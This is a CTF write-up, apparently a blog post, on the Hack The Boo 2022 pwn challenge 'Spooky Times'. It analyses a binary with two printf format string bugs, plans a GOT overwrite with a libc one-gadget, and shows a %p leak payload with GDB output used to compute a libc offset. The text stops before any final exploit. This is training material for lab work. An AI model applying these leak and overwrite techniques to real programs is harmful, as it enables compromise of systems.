Writeup for Hack The Boo CTF 2022 challenge Spooky Times

Posted on Nov 1, 2022

HTBOO CTF

Recon

Hack The Box arranged Hack The Boo CTF between 22 Oct, 13:00, 2022 and 27 Oct, 13:00. It is a five day event with a one person per team limit. The event is beginner level friendly. Every day five new events are released in the categories web, crypto, pwn, forensics and reverse engineering. Since it’s a beginner friendly event it makes it fun to play even if let’s say crypto and rev is not your thing.

The Spooky Times challenge is in the pwn category and rated easy. This is from day 4 and still being kind of easy. It’s been harder and harder for every day. You are greeted with this when you approach the challenge:

HTBOO CTF

Not that much of hints in my opinion. But we can download some files. Let’s just download the files and enter the scanning phase.

Scanning

Analysing the downloaded files

First of all let’s unzip the zip-archive that we downloaded and see what we find inside.

[~/Downloads]$ unzip pwn_spooky_time
Archive:  pwn_spooky_time.zip
   creating: challenge/
   creating: challenge/glibc/
  inflating: challenge/glibc/ld-linux-x86-64.so.2  
  inflating: challenge/glibc/libc.so.6  
  inflating: challenge/spooky_time   
 extracting: challenge/flag.txt 

[~/Downloads]$ cd challenge 
[~/Downloads/challenge]$ ls -la
total 52
drwxrwxr-x  3 f1rstr3am f1rstr3am  4096 Oct  4 17:33 .
drwxr-xr-x 13 f1rstr3am f1rstr3am 20480 Oct 31 09:40 ..
-rw-rw-r--  1 f1rstr3am f1rstr3am    25 Oct  4 17:33 flag.txt
drwxrwxr-x  2 f1rstr3am f1rstr3am  4096 Oct  4 17:33 glibc
-rwxrwxr-x  1 f1rstr3am f1rstr3am 15944 Oct  5 13:08 spooky_time

[~/Downloads/challenge]$ cat flag.txt 
HTB{f4k3_fl4g_4_t35t1ng}

There seems to be a flag for testing. We have a dynamic linker/loader and a libc library. There’s an executable elf binary. We can guess that the executeable is redirected to a port on the target system but let’s verify this.

Analysing the target system

When we push the spawn docker button we are presented with an ip-address and port and when we connect to that port using netcat it looks like this:

[~/Downloads/challenge]$ nc 172.17.0.3 54362


You know what time it is? It's SPOOKY time!


        ▗▄ ▝▀▀▀ ▗▄                                         
      ▗▞▘         ▝▀▄                                      
     ▞▘              ▘▖   ▗   ▗   ▗   ▗   ▗   ▗   ▗   ▗    
   ▝▞                 ▝▖▝    ▘   ▘   ▘   ▘   ▘   ▘   ▘   ▘ 
   ▐                   ▚                                   
   ▌   ▗▄▄       ▄▖    ▝▖   ▖            ▄▄▖ ▘ ▗▄▖         
  ▐    ███      ███▌    ▌ ▝    ▖▘  ▖▘ ▗▞▀         ▀▗▘ ▗ ▘ ▗
  ▞    ▝▀▘  ▄▄  ▝▀▀     ▐            ▞▘             ▀▖     
  ▌        ▐██▌         ▐           ▞                ▝▖    
  ▌         ▀▀          ▐    ▖▘   ▗▞                  ▐    
  ▌                     ▐        ▝▗▘                   ▚ ▝ 
  ▌                     ▐         ▐     ▄▄▖      ▄▄▖   ▝▖  
  ▌                     ▐       ▖ ▌    ▐███     ▐██▛    ▚  
  ▌                      ▖   ▘    ▌     ▀▀▘      ▀▀▘    ▐  
  ▚                      ▚        ▌         ▐▖▗▌        ▝  
  ▐                      ▝▖ ▖  ▘  ▌                     ▝▌ 
  ▝▖                      ▝▖      ▌                      ▌ 
   ▌                       ▝▄  ▖  ▌                      ▌ 
   ▚                         ▌   ▝▌                      ▌ 
   ▐                       ▄▀    ▐                       ▌ 
    ▌   ▄▄▖       ▄▝▘▘ ▀▀▀       ▌                      ▗▘ 
  ▗ ▝▄▀▘   ▝▀ ▄▄▖▀              ▐                       ▐  
                               ▐▘                       ▐  
                     ▗        ▞▘                        ▞  
                    ▗   ▖ ▝  ▛                          ▌  
  ▝ ▝       ▖▘ ▗  ▗▝          ▚▖                       ▐   
         ▗                   ▖  ▀ ▝▀▀ ▀▘▄       ▗▄▄▖   ▌   
      ▗▝                ▗ ▘ ▘            ▀ ▄▄▖▝▀    ▝▘▞    


It's your chance to scare those little kids, say something scary!

We are greeted with some ghosts and I can make some input. This is probably the executable that is answering on that port. But just to make sure let’s start the executable locally to see that we get the same result:

[~/Downloads/challenge]$ ./spooky_time 


You know what time it is? It's SPOOKY time!


        ▗▄ ▝▀▀▀ ▗▄                                         
      ▗▞▘         ▝▀▄                                      
     ▞▘              ▘▖   ▗   ▗   ▗   ▗   ▗   ▗   ▗   ▗    
   ▝▞                 ▝▖▝    ▘   ▘   ▘   ▘   ▘   ▘   ▘   ▘ 
   ▐                   ▚                                   
   ▌   ▗▄▄       ▄▖    ▝▖   ▖            ▄▄▖ ▘ ▗▄▖         
  ▐    ███      ███▌    ▌ ▝    ▖▘  ▖▘ ▗▞▀         ▀▗▘ ▗ ▘ ▗
  ▞    ▝▀▘  ▄▄  ▝▀▀     ▐            ▞▘             ▀▖     
  ▌        ▐██▌         ▐           ▞                ▝▖    
  ▌         ▀▀          ▐    ▖▘   ▗▞                  ▐    
  ▌                     ▐        ▝▗▘                   ▚ ▝ 
  ▌                     ▐         ▐     ▄▄▖      ▄▄▖   ▝▖  
  ▌                     ▐       ▖ ▌    ▐███     ▐██▛    ▚  
  ▌                      ▖   ▘    ▌     ▀▀▘      ▀▀▘    ▐  
  ▚                      ▚        ▌         ▐▖▗▌        ▝  
  ▐                      ▝▖ ▖  ▘  ▌                     ▝▌ 
  ▝▖                      ▝▖      ▌                      ▌ 
   ▌                       ▝▄  ▖  ▌                      ▌ 
   ▚                         ▌   ▝▌                      ▌ 
   ▐                       ▄▀    ▐                       ▌ 
    ▌   ▄▄▖       ▄▝▘▘ ▀▀▀       ▌                      ▗▘ 
  ▗ ▝▄▀▘   ▝▀ ▄▄▖▀              ▐                       ▐  
                               ▐▘                       ▐  
                     ▗        ▞▘                        ▞  
                    ▗   ▖ ▝  ▛                          ▌  
  ▝ ▝       ▖▘ ▗  ▗▝          ▚▖                       ▐   
         ▗                   ▖  ▀ ▝▀▀ ▀▘▄       ▗▄▄▖   ▌   
      ▗▝                ▗ ▘ ▘            ▀ ▄▄▖▝▀    ▝▘▞    


It's your chance to scare those little kids, say something scary!

That looks very much the same as the output from our target. We now do know that this binary is executing at the target system and it’s exposed via tcp at a specific port. That’s about all we can find out about the target. Let’s see what kind of hardening the executable is built with.

Analysing the spooky_time executable

I tend to use the checksec program from the pwntools library to see how the executable is hardened. Let’s do it:

[~/Downloads/challenge]$ checksec spooky_time
[*] '/home/f1rstr3am/Downloads/challenge/spooky_time'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'

So the runpath is set to ./glibc which means that the libc in that directory will be linked with the executable at runtime. NX is enabled so no code execution from the stack is possible.

PIE is enabled so all code within the executable is loaded at random addresses. There’s also CANARY found which makes it hard to crash the stack and gain code execution via buffer overflows.

The only thing that does not seem to be enabled is RELRO. So the global offset table (GOT) is writeable. If we could find a vulnerability in this binary that leaks some good addresses and overwrite an entry in the GOT we can possibly get RCE.

Let’s reverse engineer the spooky_time binary by loading it up the binary in Ghidra and see what we can find.

HTBOO CTF

Very simple program that has two functions main() and banner(). Let’s take a closer look at main.

void main(void)

{
  long in_FS_OFFSET;
  char local_154 [12];
  char local_148 [312];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts("It\'s your chance to scare those little kids, say something scary!\n");
  __isoc99_scanf(&DAT_00102963,local_154);
  puts("\nSeriously?? I bet you can do better than ");
  printf(local_154);
  puts("\nAnyway, here comes another bunch of kids, let\'s try one more time..");
  puts("\n");
  __isoc99_scanf("%299s",local_148);
  puts("\nOk, you are not good with that, do you think that was scary??\n");
  printf(local_148);
  puts("Better luck next time!\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

It’s pretty obvious that there are two format string vulnerabilities in this program. First of all there’s this line:

__isoc99_scanf(&DAT_00102963,local_154);

This gives us control over what’s inside the buffer local_154.

DAT_00102963 looks like this in Ghidra:

                             DAT_00102963                                    XREF[2]:     main:00101401(*), 
                                                                                          main:00101408(*)  
        00102963 25              ??         25h    %
        00102964 31              ??         31h    1
        00102965 31              ??         31h    1
        00102966 73              ??         73h    s
        00102967 00              ??         00h

There’s a string %11s which means we can input 11 characters that will be written to the local_154 buffer. Later on comes the format string vulnerability when local_154 is printed at this line:

 printf(local_154);

Since we control the content of local_154 we can use format string capabilities here to explore the memory and leak stuff. Later on this pattern repeats with local_148 which is a much larger buffer that takes 312 characters. We have these two vulnerabilities to play with and since there is no RELRO we can overwrite stuff inside the global offset table. This will be my plan for now:

  • Use the first vulnerability to leak adresses to LIBC and and GOT
  • Find a one gadget in LIBC
  • Use the second format vulnerability to overwrite an entry in GOT with the one gadget

Let’s start to see if we can leak an address and calculate the base address of LIBC.

Since the first vulnerability only can take 11 characters I will use the second vulnerability to leak the addresses. We will use the format string %p in a repetitive pattern to leak addresses stored on the stack. Since __isoc99_scanf() stops on certain characters like space we will use the separator , between the pointers. First of all load the executable up in GDB and use the start command to load the code in memory (Im using the GEF plugin for GDB).

[~/Downloads/challenge]$ gdb spooky_time 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gef➤  start
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[+] Breaking at '0x13c0'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x005555555553c0  →  <main+0> endbr64 
$rbx   : 0x0               
$rcx   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$rdx   : 0x007fffffffdfc8  →  0x007fffffffe30e  →  "SYSTEMD_EXEC_PID=11136"
$rsp   : 0x007fffffffdea0  →  0x0000000000000001
$rbp   : 0x007fffffffdea0  →  0x0000000000000001
$rsi   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$rdi   : 0x1               
$rip   : 0x005555555553c8  →  <main+8> sub rsp, 0x150
$r8    : 0x007ffff7e1af10  →  0x0000000000000004
$r9    : 0x007ffff7fc9040  →  <_dl_fini+0> endbr64 
$r10   : 0x007ffff7fc3908  →  0x000d00120000000e
$r11   : 0x007ffff7fde680  →  <_dl_audit_preinit+0> endbr64 
$r12   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x005555555553c0  →  <main+0> endbr64 
$r14   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdea0│+0x0000: 0x0000000000000001	 ← $rsp, $rbp
0x007fffffffdea8│+0x0008: 0x007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax
0x007fffffffdeb0│+0x0010: 0x0000000000000000
0x007fffffffdeb8│+0x0018: 0x005555555553c0  →  <main+0> endbr64 
0x007fffffffdec0│+0x0020: 0x00000001ffffdfa0
0x007fffffffdec8│+0x0028: 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
0x007fffffffded0│+0x0030: 0x0000000000000000
0x007fffffffded8│+0x0038: 0x7fe1e59ac5e09354
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555553c0 <main+0>         endbr64 
   0x5555555553c4 <main+4>         push   rbp
   0x5555555553c5 <main+5>         mov    rbp, rsp
 → 0x5555555553c8 <main+8>         sub    rsp, 0x150
   0x5555555553cf <main+15>        mov    rax, QWORD PTR fs:0x28
   0x5555555553d8 <main+24>        mov    QWORD PTR [rbp-0x8], rax
   0x5555555553dc <main+28>        xor    eax, eax
   0x5555555553de <main+30>        call   0x555555555348 <setup>
   0x5555555553e3 <main+35>        call   0x555555555249 <banner>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x5555555553c8 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555553c8 → main()
────────────────────────────────────────────────────────────────────────────────

So now we have the program loaded and ready to be executed. Let’s see where LIBC is loaded.

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555556000 0x00555555557000 0x00000000002000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555557000 0x00555555558000 0x00000000002000 rw- /home/f1rstr3am/Downloads/challenge/spooky_time
0x007ffff7c00000 0x007ffff7c28000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7c28000 0x007ffff7dbd000 0x00000000028000 r-x /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7dbd000 0x007ffff7e15000 0x000000001bd000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e15000 0x007ffff7e19000 0x00000000214000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e19000 0x007ffff7e1b000 0x00000000218000 rw- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e1b000 0x007ffff7e28000 0x00000000000000 rw- 
0x007ffff7fb8000 0x007ffff7fbd000 0x00000000000000 rw- 
0x007ffff7fbd000 0x007ffff7fc1000 0x00000000000000 r-- [vvar]
0x007ffff7fc1000 0x007ffff7fc3000 0x00000000000000 r-x [vdso]
0x007ffff7fc3000 0x007ffff7fc5000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7fc5000 0x007ffff7fef000 0x00000000002000 r-x /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7fef000 0x007ffff7ffa000 0x0000000002c000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7ffb000 0x007ffff7ffd000 0x00000000037000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7fff000 0x00000000039000 rw- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]

It seems like the base address for libc is located between 0x007ffff7c00000-0x007ffff7e1b000. Now let’s run the program and give it a payload to leak 64 pointers from the stack. Then we can see if we can see if any of them is nearby LIBC.

gef➤  c
Continuing.


You know what time it is? It's SPOOKY time!


        ▗▄ ▝▀▀▀ ▗▄                                         
      ▗▞▘         ▝▀▄                                      
     ▞▘              ▘▖   ▗   ▗   ▗   ▗   ▗   ▗   ▗   ▗    
   ▝▞                 ▝▖▝    ▘   ▘   ▘   ▘   ▘   ▘   ▘   ▘ 
   ▐                   ▚                                   
   ▌   ▗▄▄       ▄▖    ▝▖   ▖            ▄▄▖ ▘ ▗▄▖         
  ▐    ███      ███▌    ▌ ▝    ▖▘  ▖▘ ▗▞▀         ▀▗▘ ▗ ▘ ▗
  ▞    ▝▀▘  ▄▄  ▝▀▀     ▐            ▞▘             ▀▖     
  ▌        ▐██▌         ▐           ▞                ▝▖    
  ▌         ▀▀          ▐    ▖▘   ▗▞                  ▐    
  ▌                     ▐        ▝▗▘                   ▚ ▝ 
  ▌                     ▐         ▐     ▄▄▖      ▄▄▖   ▝▖  
  ▌                     ▐       ▖ ▌    ▐███     ▐██▛    ▚  
  ▌                      ▖   ▘    ▌     ▀▀▘      ▀▀▘    ▐  
  ▚                      ▚        ▌         ▐▖▗▌        ▝  
  ▐                      ▝▖ ▖  ▘  ▌                     ▝▌ 
  ▝▖                      ▝▖      ▌                      ▌ 
   ▌                       ▝▄  ▖  ▌                      ▌ 
   ▚                         ▌   ▝▌                      ▌ 
   ▐                       ▄▀    ▐                       ▌ 
    ▌   ▄▄▖       ▄▝▘▘ ▀▀▀       ▌                      ▗▘ 
  ▗ ▝▄▀▘   ▝▀ ▄▄▖▀              ▐                       ▐  
                               ▐▘                       ▐  
                     ▗        ▞▘                        ▞  
                    ▗   ▖ ▝  ▛                          ▌  
  ▝ ▝       ▖▘ ▗  ▗▝          ▚▖                       ▐   
         ▗                   ▖  ▀ ▝▀▀ ▀▘▄       ▗▄▄▖   ▌   
      ▗▝                ▗ ▘ ▘            ▀ ▄▄▖▝▀    ▝▘▞    


It's your chance to scare those little kids, say something scary!

Boo

Seriously?? I bet you can do better than 
Boo
Anyway, here comes another bunch of kids, let's try one more time..


%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

Ok, you are not good with that, do you think that was scary??

0x1,0x1,0x7ffff7d14a37,0x3f,0x7ffff7e19280,0x6f6f4200008000,0x800,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x70252c70252c70,0xc,0x1,0x1,0x1,0x555555554040,0x7ffff7fe285c,0x7f0,0x7fffffffe2b9,0x7ffff7fc1000,0x10101000000,0x2,0xbfebfbff,0x7fffffffe2c9,0x64,0x1000,0xf0d7fb75b3c63100,0x1,0x7ffff7c29d90,(nil),0x5555555553c0,0x1ffffdfa0,0x7fffffffdfb8,(nil),0x7fe1e59ac5e09354,0x7fffffffdfb8,0x5555555553c0,0x555555557b80,0x7ffff7ffd040,0x801e1a6578829354,0x801e0a1fff6a9354,0x7fff00000000,(nil),(nil)Better luck next time!

[Inferior 1 (process 22241) exited normally]

That’s a lot of addresses we managed to leak. To make it easier to navigate this we can use some python like this:

a = '0x1,0x1,0x7ffff7d14a37,0x3f,0x7ffff7e19280,0x6f6f4200008000,0x800,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x70252c70252c70,0xc,0x1,0x1,0x1,0x555555554040,0x7ffff7fe285c,0x7f0,0x7fffffffe2b9,0x7ffff7fc1000,0x10101000000,0x2,0xbfebfbff,0x7fffffffe2c9,0x64,0x1000,0xf0d7fb75b3c63100,0x1,0x7ffff7c29d90,(nil),0x5555555553c0,0x1ffffdfa0,0x7fffffffdfb8,(nil),0x7fe1e59ac5e09354,0x7fffffffdfb8,0x5555555553c0,0x555555557b80,0x7ffff7ffd040,0x801e1a6578829354,0x801e0a1fff6a9354,0x7fff00000000,(nil),(nil)'.split(',')

for i in range(0, len(a)):
    print(str(i) + ': ' + a[i])

This will help us map each address to an index on the stack. Let’s run it.

[~/Downloads/challenge]$ python3 leak.py 
1: 0x1
2: 0x1
3: 0x7ffff7d14a37
4: 0x3f
5: 0x7ffff7e19280
6: 0x6f6f4200008000
7: 0x800
8: 0x70252c70252c7025
9: 0x252c70252c70252c
10: 0x2c70252c70252c70
11: 0x70252c70252c7025
12: 0x252c70252c70252c
13: 0x2c70252c70252c70
14: 0x70252c70252c7025
15: 0x252c70252c70252c
16: 0x2c70252c70252c70
17: 0x70252c70252c7025
18: 0x252c70252c70252c
19: 0x2c70252c70252c70
20: 0x70252c70252c7025
21: 0x252c70252c70252c
22: 0x2c70252c70252c70
23: 0x70252c70252c7025
24: 0x252c70252c70252c
25: 0x2c70252c70252c70
26: 0x70252c70252c7025
27: 0x252c70252c70252c
28: 0x2c70252c70252c70
29: 0x70252c70252c7025
30: 0x252c70252c70252c
31: 0x70252c70252c70
32: 0xc
33: 0x1
34: 0x1
35: 0x1
36: 0x555555554040
37: 0x7ffff7fe285c
38: 0x7f0
39: 0x7fffffffe2b9
40: 0x7ffff7fc1000
41: 0x10101000000
42: 0x2
43: 0xbfebfbff
44: 0x7fffffffe2c9
45: 0x64
46: 0x1000
47: 0xf0d7fb75b3c63100
48: 0x1
49: 0x7ffff7c29d90
50: (nil)
51: 0x5555555553c0
52: 0x1ffffdfa0
53: 0x7fffffffdfb8
54: (nil)
55: 0x7fe1e59ac5e09354
56: 0x7fffffffdfb8
57: 0x5555555553c0
58: 0x555555557b80
59: 0x7ffff7ffd040
60: 0x801e1a6578829354
61: 0x801e0a1fff6a9354
62: 0x7fff00000000
63: (nil)
64: (nil)

3: 0x7ffff7d14a37 is within the range we are looking for (0x007ffff7c00000-0x007ffff7e1b000). Let’s use a small trick in GDB to see if the address points to something specific in LIBC.

gef➤  x/i 0x7ffff7d14a37
   0x7ffff7d14a37 <__GI___libc_write+23>:	cmp    rax,0xfffffffffffff000

Well it seems that we are pointing somewhere inside the function __GI___libc_write within LIBC. Let’s try calculate the offset between this address and the base address of of LIBC by subtracting LIBCs base address from the leaked address.

[~/Downloads/challenge]$ python3
Python 3.10.6 (main, Aug 10 2022, 11:40:04) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7ffff7d14a37 - 0x007ffff7c00000 
1133111

So this addres is located 1133111 bytes after the base address of libc. Next thing we need to check is if it’s stable. We can’t be sure that this address can be used to caculate the base address of LIBC until we tried it again with ASLR enabled. Let’s load it up in GDB and enable ASLR.

[~/Downloads/challenge]$ gdb spooky_time
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gef➤  aslr on
[+] Enabling ASLR
gef➤  start
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Breaking at '0x13c0'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffce610d000'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0055ee28bae3c0  →  <main+0> endbr64 
$rbx   : 0x0               
$rcx   : 0x0055ee28bb0b80  →  0x0055ee28bae200  →  <__do_global_dtors_aux+0> endbr64 
$rdx   : 0x007ffce6075458  →  0x007ffce607730e  →  "SYSTEMD_EXEC_PID=11136"
$rsp   : 0x007ffce6075330  →  0x0000000000000001
$rbp   : 0x007ffce6075330  →  0x0000000000000001
$rsi   : 0x007ffce6075448  →  0x007ffce60772de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$rdi   : 0x1               
$rip   : 0x0055ee28bae3c8  →  <main+8> sub rsp, 0x150
$r8    : 0x007fd86ae1af10  →  0x0000000000000004
$r9    : 0x007fd86ae90040  →  <_dl_fini+0> endbr64 
$r10   : 0x007fd86ae8a908  →  0x000d00120000000e
$r11   : 0x007fd86aea5680  →  <_dl_audit_preinit+0> endbr64 
$r12   : 0x007ffce6075448  →  0x007ffce60772de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x0055ee28bae3c0  →  <main+0> endbr64 
$r14   : 0x0055ee28bb0b80  →  0x0055ee28bae200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007fd86aec4040  →  0x007fd86aec52e0  →  0x0055ee28bad000  →   jg 0x55ee28bad047
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffce6075330│+0x0000: 0x0000000000000001	 ← $rsp, $rbp
0x007ffce6075338│+0x0008: 0x007fd86ac29d90  →  <__libc_start_call_main+128> mov edi, eax
0x007ffce6075340│+0x0010: 0x0000000000000000
0x007ffce6075348│+0x0018: 0x0055ee28bae3c0  →  <main+0> endbr64 
0x007ffce6075350│+0x0020: 0x00000001e6075430
0x007ffce6075358│+0x0028: 0x007ffce6075448  →  0x007ffce60772de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
0x007ffce6075360│+0x0030: 0x0000000000000000
0x007ffce6075368│+0x0038: 0x6e5576256682a5b5
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55ee28bae3c0 <main+0>         endbr64 
   0x55ee28bae3c4 <main+4>         push   rbp
   0x55ee28bae3c5 <main+5>         mov    rbp, rsp
 → 0x55ee28bae3c8 <main+8>         sub    rsp, 0x150
   0x55ee28bae3cf <main+15>        mov    rax, QWORD PTR fs:0x28
   0x55ee28bae3d8 <main+24>        mov    QWORD PTR [rbp-0x8], rax
   0x55ee28bae3dc <main+28>        xor    eax, eax
   0x55ee28bae3de <main+30>        call   0x55ee28bae348 <setup>
   0x55ee28bae3e3 <main+35>        call   0x55ee28bae249 <banner>
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x55ee28bae3c8 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55ee28bae3c8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Let’s locate LIBC which will be loaded on another address since ASLR is enabled.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0055ee28bad000 0x0055ee28bae000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055ee28bae000 0x0055ee28baf000 0x00000000001000 r-x /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055ee28baf000 0x0055ee28bb0000 0x00000000002000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055ee28bb0000 0x0055ee28bb1000 0x00000000002000 rw- /home/f1rstr3am/Downloads/challenge/spooky_time
0x007fd86ac00000 0x007fd86ac28000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fd86ac28000 0x007fd86adbd000 0x00000000028000 r-x /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fd86adbd000 0x007fd86ae15000 0x000000001bd000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fd86ae15000 0x007fd86ae19000 0x00000000214000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fd86ae19000 0x007fd86ae1b000 0x00000000218000 rw- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fd86ae1b000 0x007fd86ae28000 0x00000000000000 rw- 
0x007fd86ae85000 0x007fd86ae8a000 0x00000000000000 rw- 
0x007fd86ae8a000 0x007fd86ae8c000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fd86ae8c000 0x007fd86aeb6000 0x00000000002000 r-x /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fd86aeb6000 0x007fd86aec1000 0x0000000002c000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fd86aec2000 0x007fd86aec4000 0x00000000037000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
